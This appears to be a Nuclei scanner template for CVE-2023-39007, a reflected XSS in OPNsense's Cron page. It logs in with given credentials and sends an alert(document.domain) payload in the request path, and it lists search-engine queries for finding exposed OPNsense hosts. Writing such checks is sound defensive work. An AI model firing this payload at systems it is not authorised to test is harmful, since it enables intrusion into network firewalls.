OPNsense - Cross-Site Scripting to RCE

id: CVE-2023-39007

info:
  name: OPNsense - Cross-Site Scripting to RCE
  author: ritikchaddha
  severity: critical
  description: |
    There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.
  remediation: |
    Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.
  reference:
    - https://logicaltrust.net/blog/2023/08/opnsense.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-39007
    cwe-id: CWE-79
    epss-score: 0.02315
    epss-percentile: 0.81333
    cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: opnsense
    product: opnsense
    shodan-query:
      - title:"OPNsense"
      - http.title:"opnsense"
    fofa-query: title="opnsense"
    google-query: intitle:"opnsense"
  tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1

      - |
        GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "openDialog('0'+alert(document.domain)+''"

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: para
        part: body
        group: 1
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true

      - type: regex
        name: value
        part: body
        group: 2
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true
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